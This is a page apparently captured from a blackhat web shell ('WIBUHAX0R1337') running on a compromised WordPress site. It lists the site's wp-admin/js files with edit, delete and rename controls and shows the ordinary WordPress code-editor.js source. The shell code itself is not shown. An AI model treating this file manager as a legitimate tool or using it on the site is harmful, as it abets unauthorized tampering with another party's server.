-
WIBUHAX0R1337
-
/
home
/
coludnqa
/
rohihbs.com
/
wp-admin
/
js
/
[ Home ]
Create Folder
Create File
Nama File / Folder
Size
Action
widgets
--
NONE
accordion.js
2.864KB
Edit File
Delete File
Rename
accordion.min.js
0.74KB
Edit File
Delete File
Rename
application-passwords.js
6.244KB
Edit File
Delete File
Rename
application-passwords.min.js
2.953KB
Edit File
Delete File
Rename
auth-app.js
5.66KB
Edit File
Delete File
Rename
auth-app.min.js
2.035KB
Edit File
Delete File
Rename
code-editor.js
11.316KB
Edit File
Delete File
Rename
code-editor.min.js
3.011KB
Edit File
Delete File
Rename
color-picker.js
9.539KB
Edit File
Delete File
Rename
color-picker.min.js
3.404KB
Edit File
Delete File
Rename
comment.js
2.851KB
Edit File
Delete File
Rename
comment.min.js
1.284KB
Edit File
Delete File
Rename
common.js
61.15KB
Edit File
Delete File
Rename
common.min.js
23.121KB
Edit File
Delete File
Rename
custom-background.js
3.354KB
Edit File
Delete File
Rename
custom-background.min.js
1.178KB
Edit File
Delete File
Rename
custom-header.js
1.976KB
Edit File
Delete File
Rename
customize-controls.js
287.36KB
Edit File
Delete File
Rename
customize-controls.min.js
109.14KB
Edit File
Delete File
Rename
customize-nav-menus.js
111.131KB
Edit File
Delete File
Rename
customize-nav-menus.min.js
46.929KB
Edit File
Delete File
Rename
customize-widgets.js
70.046KB
Edit File
Delete File
Rename
customize-widgets.min.js
27.407KB
Edit File
Delete File
Rename
dashboard.js
27.018KB
Edit File
Delete File
Rename
dashboard.min.js
8.654KB
Edit File
Delete File
Rename
edit-comments.js
37.115KB
Edit File
Delete File
Rename
edit-comments.min.js
15.125KB
Edit File
Delete File
Rename
editor-expand.js
41.607KB
Edit File
Delete File
Rename
editor-expand.min.js
13.136KB
Edit File
Delete File
Rename
editor.js
43.98KB
Edit File
Delete File
Rename
editor.min.js
12.76KB
Edit File
Delete File
Rename
farbtastic.js
7.665KB
Edit File
Delete File
Rename
gallery.js
5.413KB
Edit File
Delete File
Rename
gallery.min.js
3.653KB
Edit File
Delete File
Rename
image-edit.js
39.977KB
Edit File
Delete File
Rename
image-edit.min.js
15.151KB
Edit File
Delete File
Rename
inline-edit-post.js
20.166KB
Edit File
Delete File
Rename
inline-edit-post.min.js
9.413KB
Edit File
Delete File
Rename
inline-edit-tax.js
7.614KB
Edit File
Delete File
Rename
inline-edit-tax.min.js
2.927KB
Edit File
Delete File
Rename
iris.min.js
23.089KB
Edit File
Delete File
Rename
language-chooser.js
0.869KB
Edit File
Delete File
Rename
language-chooser.min.js
0.413KB
Edit File
Delete File
Rename
link.js
3.894KB
Edit File
Delete File
Rename
link.min.js
1.701KB
Edit File
Delete File
Rename
media-gallery.js
1.272KB
Edit File
Delete File
Rename
media-gallery.min.js
0.597KB
Edit File
Delete File
Rename
media-upload.js
3.384KB
Edit File
Delete File
Rename
media-upload.min.js
1.125KB
Edit File
Delete File
Rename
media.js
6.606KB
Edit File
Delete File
Rename
media.min.js
2.382KB
Edit File
Delete File
Rename
nav-menu.js
60.72KB
Edit File
Delete File
Rename
nav-menu.min.js
29.847KB
Edit File
Delete File
Rename
password-strength-meter.js
4.137KB
Edit File
Delete File
Rename
password-strength-meter.min.js
1.097KB
Edit File
Delete File
Rename
password-toggle.js
1.308KB
Edit File
Delete File
Rename
password-toggle.min.js
0.827KB
Edit File
Delete File
Rename
plugin-install.js
6.92KB
Edit File
Delete File
Rename
plugin-install.min.js
2.347KB
Edit File
Delete File
Rename
post.js
38.679KB
Edit File
Delete File
Rename
post.min.js
18.403KB
Edit File
Delete File
Rename
postbox.js
18.493KB
Edit File
Delete File
Rename
postbox.min.js
6.603KB
Edit File
Delete File
Rename
privacy-tools.js
10.667KB
Edit File
Delete File
Rename
privacy-tools.min.js
5.033KB
Edit File
Delete File
Rename
revisions.js
33.915KB
Edit File
Delete File
Rename
revisions.min.js
17.97KB
Edit File
Delete File
Rename
set-post-thumbnail.js
0.855KB
Edit File
Delete File
Rename
set-post-thumbnail.min.js
0.605KB
Edit File
Delete File
Rename
site-health.js
13.149KB
Edit File
Delete File
Rename
site-health.min.js
6.135KB
Edit File
Delete File
Rename
site-icon.js
6.097KB
Edit File
Delete File
Rename
site-icon.min.js
2.201KB
Edit File
Delete File
Rename
svg-painter.js
3.203KB
Edit File
Delete File
Rename
svg-painter.min.js
1.53KB
Edit File
Delete File
Rename
tags-box.js
10.879KB
Edit File
Delete File
Rename
tags-box.min.js
3.005KB
Edit File
Delete File
Rename
tags-suggest.js
5.636KB
Edit File
Delete File
Rename
tags-suggest.min.js
2.216KB
Edit File
Delete File
Rename
tags.js
4.851KB
Edit File
Delete File
Rename
tags.min.js
2.042KB
Edit File
Delete File
Rename
theme-plugin-editor.js
24.766KB
Edit File
Delete File
Rename
theme-plugin-editor.min.js
11.435KB
Edit File
Delete File
Rename
theme.js
54.667KB
Edit File
Delete File
Rename
theme.min.js
26.417KB
Edit File
Delete File
Rename
updates.js
109.335KB
Edit File
Delete File
Rename
updates.min.js
47.272KB
Edit File
Delete File
Rename
user-profile.js
14.995KB
Edit File
Delete File
Rename
user-profile.min.js
6.701KB
Edit File
Delete File
Rename
user-suggest.js
2.247KB
Edit File
Delete File
Rename
user-suggest.min.js
0.66KB
Edit File
Delete File
Rename
widgets.js
22.557KB
Edit File
Delete File
Rename
widgets.min.js
12.313KB
Edit File
Delete File
Rename
word-count.js
7.516KB
Edit File
Delete File
Rename
word-count.min.js
1.494KB
Edit File
Delete File
Rename
xfn.js
0.723KB
Edit File
Delete File
Rename
xfn.min.js
0.447KB
Edit File
Delete File
Rename
/** * @output wp-admin/js/code-editor.js */ if ( 'undefined' === typeof window.wp ) { /** * @namespace wp */ window.wp = {}; } if ( 'undefined' === typeof window.wp.codeEditor ) { /** * @namespace wp.codeEditor */ window.wp.codeEditor = {}; } ( function( $, wp ) { 'use strict'; /** * Default settings for code editor. * * @since 4.9.0 * @type {object} */ wp.codeEditor.defaultSettings = { codemirror: {}, csslint: {}, htmlhint: {}, jshint: {}, onTabNext: function() {}, onTabPrevious: function() {}, onChangeLintingErrors: function() {}, onUpdateErrorNotice: function() {} }; /** * Configure linting. * * @param {CodeMirror} editor - Editor. * @param {Object} settings - Code editor settings. * @param {Object} settings.codeMirror - Settings for CodeMirror. * @param {Function} settings.onChangeLintingErrors - Callback for when there are changes to linting errors. * @param {Function} settings.onUpdateErrorNotice - Callback to update error notice. * * @return {void} */ function configureLinting( editor, settings ) { // eslint-disable-line complexity var currentErrorAnnotations = [], previouslyShownErrorAnnotations = []; /** * Call the onUpdateErrorNotice if there are new errors to show. * * @return {void} */ function updateErrorNotice() { if ( settings.onUpdateErrorNotice && ! _.isEqual( currentErrorAnnotations, previouslyShownErrorAnnotations ) ) { settings.onUpdateErrorNotice( currentErrorAnnotations, editor ); previouslyShownErrorAnnotations = currentErrorAnnotations; } } /** * Get lint options. * * @return {Object} Lint options. */ function getLintOptions() { // eslint-disable-line complexity var options = editor.getOption( 'lint' ); if ( ! options ) { return false; } if ( true === options ) { options = {}; } else if ( _.isObject( options ) ) { options = $.extend( {}, options ); } /* * Note that rules must be sent in the "deprecated" lint.options property * to prevent linter from complaining about unrecognized options. * See <https://github.com/codemirror/CodeMirror/pull/4944>. */ if ( ! options.options ) { options.options = {}; } // Configure JSHint. if ( 'javascript' === settings.codemirror.mode && settings.jshint ) { $.extend( options.options, settings.jshint ); } // Configure CSSLint. if ( 'css' === settings.codemirror.mode && settings.csslint ) { $.extend( options.options, settings.csslint ); } // Configure HTMLHint. if ( 'htmlmixed' === settings.codemirror.mode && settings.htmlhint ) { options.options.rules = $.extend( {}, settings.htmlhint ); if ( settings.jshint ) { options.options.rules.jshint = settings.jshint; } if ( settings.csslint ) { options.options.rules.csslint = settings.csslint; } } // Wrap the onUpdateLinting CodeMirror event to route to onChangeLintingErrors and onUpdateErrorNotice. options.onUpdateLinting = (function( onUpdateLintingOverridden ) { return function( annotations, annotationsSorted, cm ) { var errorAnnotations = _.filter( annotations, function( annotation ) { return 'error' === annotation.severity; } ); if ( onUpdateLintingOverridden ) { onUpdateLintingOverridden.apply( annotations, annotationsSorted, cm ); } // Skip if there are no changes to the errors. if ( _.isEqual( errorAnnotations, currentErrorAnnotations ) ) { return; } currentErrorAnnotations = errorAnnotations; if ( settings.onChangeLintingErrors ) { settings.onChangeLintingErrors( errorAnnotations, annotations, annotationsSorted, cm ); } /* * Update notifications when the editor is not focused to prevent error message * from overwhelming the user during input, unless there are now no errors or there * were previously errors shown. In these cases, update immediately so they can know * that they fixed the errors. */ if ( ! editor.state.focused || 0 === currentErrorAnnotations.length || previouslyShownErrorAnnotations.length > 0 ) { updateErrorNotice(); } }; })( options.onUpdateLinting ); return options; } editor.setOption( 'lint', getLintOptions() ); // Keep lint options populated. editor.on( 'optionChange', function( cm, option ) { var options, gutters, gutterName = 'CodeMirror-lint-markers'; if ( 'lint' !== option ) { return; } gutters = editor.getOption( 'gutters' ) || []; options = editor.getOption( 'lint' ); if ( true === options ) { if ( ! _.contains( gutters, gutterName ) ) { editor.setOption( 'gutters', [ gutterName ].concat( gutters ) ); } editor.setOption( 'lint', getLintOptions() ); // Expand to include linting options. } else if ( ! options ) { editor.setOption( 'gutters', _.without( gutters, gutterName ) ); } // Force update on error notice to show or hide. if ( editor.getOption( 'lint' ) ) { editor.performLint(); } else { currentErrorAnnotations = []; updateErrorNotice(); } } ); // Update error notice when leaving the editor. editor.on( 'blur', updateErrorNotice ); // Work around hint selection with mouse causing focus to leave editor. editor.on( 'startCompletion', function() { editor.off( 'blur', updateErrorNotice ); } ); editor.on( 'endCompletion', function() { var editorRefocusWait = 500; editor.on( 'blur', updateErrorNotice ); // Wait for editor to possibly get re-focused after selection. _.delay( function() { if ( ! editor.state.focused ) { updateErrorNotice(); } }, editorRefocusWait ); }); /* * Make sure setting validities are set if the user tries to click Publish * while an autocomplete dropdown is still open. The Customizer will block * saving when a setting has an error notifications on it. This is only * necessary for mouse interactions because keyboards will have already * blurred the field and cause onUpdateErrorNotice to have already been * called. */ $( document.body ).on( 'mousedown', function( event ) { if ( editor.state.focused && ! $.contains( editor.display.wrapper, event.target ) && ! $( event.target ).hasClass( 'CodeMirror-hint' ) ) { updateErrorNotice(); } }); } /** * Configure tabbing. * * @param {CodeMirror} codemirror - Editor. * @param {Object} settings - Code editor settings. * @param {Object} settings.codeMirror - Settings for CodeMirror. * @param {Function} settings.onTabNext - Callback to handle tabbing to the next tabbable element. * @param {Function} settings.onTabPrevious - Callback to handle tabbing to the previous tabbable element. * * @return {void} */ function configureTabbing( codemirror, settings ) { var $textarea = $( codemirror.getTextArea() ); codemirror.on( 'blur', function() { $textarea.data( 'next-tab-blurs', false ); }); codemirror.on( 'keydown', function onKeydown( editor, event ) { var tabKeyCode = 9, escKeyCode = 27; // Take note of the ESC keypress so that the next TAB can focus outside the editor. if ( escKeyCode === event.keyCode ) { $textarea.data( 'next-tab-blurs', true ); return; } // Short-circuit if tab key is not being pressed or the tab key press should move focus. if ( tabKeyCode !== event.keyCode || ! $textarea.data( 'next-tab-blurs' ) ) { return; } // Focus on previous or next focusable item. if ( event.shiftKey ) { settings.onTabPrevious( codemirror, event ); } else { settings.onTabNext( codemirror, event ); } // Reset tab state. $textarea.data( 'next-tab-blurs', false ); // Prevent tab character from being added. event.preventDefault(); }); } /** * @typedef {object} wp.codeEditor~CodeEditorInstance * @property {object} settings - The code editor settings. * @property {CodeMirror} codemirror - The CodeMirror instance. */ /** * Initialize Code Editor (CodeMirror) for an existing textarea. * * @since 4.9.0 * * @param {string|jQuery|Element} textarea - The HTML id, jQuery object, or DOM Element for the textarea that is used for the editor. * @param {Object} [settings] - Settings to override defaults. * @param {Function} [settings.onChangeLintingErrors] - Callback for when the linting errors have changed. * @param {Function} [settings.onUpdateErrorNotice] - Callback for when error notice should be displayed. * @param {Function} [settings.onTabPrevious] - Callback to handle tabbing to the previous tabbable element. * @param {Function} [settings.onTabNext] - Callback to handle tabbing to the next tabbable element. * @param {Object} [settings.codemirror] - Options for CodeMirror. * @param {Object} [settings.csslint] - Rules for CSSLint. * @param {Object} [settings.htmlhint] - Rules for HTMLHint. * @param {Object} [settings.jshint] - Rules for JSHint. * * @return {CodeEditorInstance} Instance. */ wp.codeEditor.initialize = function initialize( textarea, settings ) { var $textarea, codemirror, instanceSettings, instance; if ( 'string' === typeof textarea ) { $textarea = $( '#' + textarea ); } else { $textarea = $( textarea ); } instanceSettings = $.extend( {}, wp.codeEditor.defaultSettings, settings ); instanceSettings.codemirror = $.extend( {}, instanceSettings.codemirror ); codemirror = wp.CodeMirror.fromTextArea( $textarea[0], instanceSettings.codemirror ); configureLinting( codemirror, instanceSettings ); instance = { settings: instanceSettings, codemirror: codemirror }; if ( codemirror.showHint ) { codemirror.on( 'keyup', function( editor, event ) { // eslint-disable-line complexity var shouldAutocomplete, isAlphaKey = /^[a-zA-Z]$/.test( event.key ), lineBeforeCursor, innerMode, token; if ( codemirror.state.completionActive && isAlphaKey ) { return; } // Prevent autocompletion in string literals or comments. token = codemirror.getTokenAt( codemirror.getCursor() ); if ( 'string' === token.type || 'comment' === token.type ) { return; } innerMode = wp.CodeMirror.innerMode( codemirror.getMode(), token.state ).mode.name; lineBeforeCursor = codemirror.doc.getLine( codemirror.doc.getCursor().line ).substr( 0, codemirror.doc.getCursor().ch ); if ( 'html' === innerMode || 'xml' === innerMode ) { shouldAutocomplete = '<' === event.key || '/' === event.key && 'tag' === token.type || isAlphaKey && 'tag' === token.type || isAlphaKey && 'attribute' === token.type || '=' === token.string && token.state.htmlState && token.state.htmlState.tagName; } else if ( 'css' === innerMode ) { shouldAutocomplete = isAlphaKey || ':' === event.key || ' ' === event.key && /:\s+$/.test( lineBeforeCursor ); } else if ( 'javascript' === innerMode ) { shouldAutocomplete = isAlphaKey || '.' === event.key; } else if ( 'clike' === innerMode && 'php' === codemirror.options.mode ) { shouldAutocomplete = 'keyword' === token.type || 'variable' === token.type; } if ( shouldAutocomplete ) { codemirror.showHint( { completeSingle: false } ); } }); } // Facilitate tabbing out of the editor. configureTabbing( codemirror, settings ); return instance; }; })( window.jQuery, window.wp );
© 2022 - 2023 WIBUHAXOR V1 By Lutfifakee || Padang Blackhat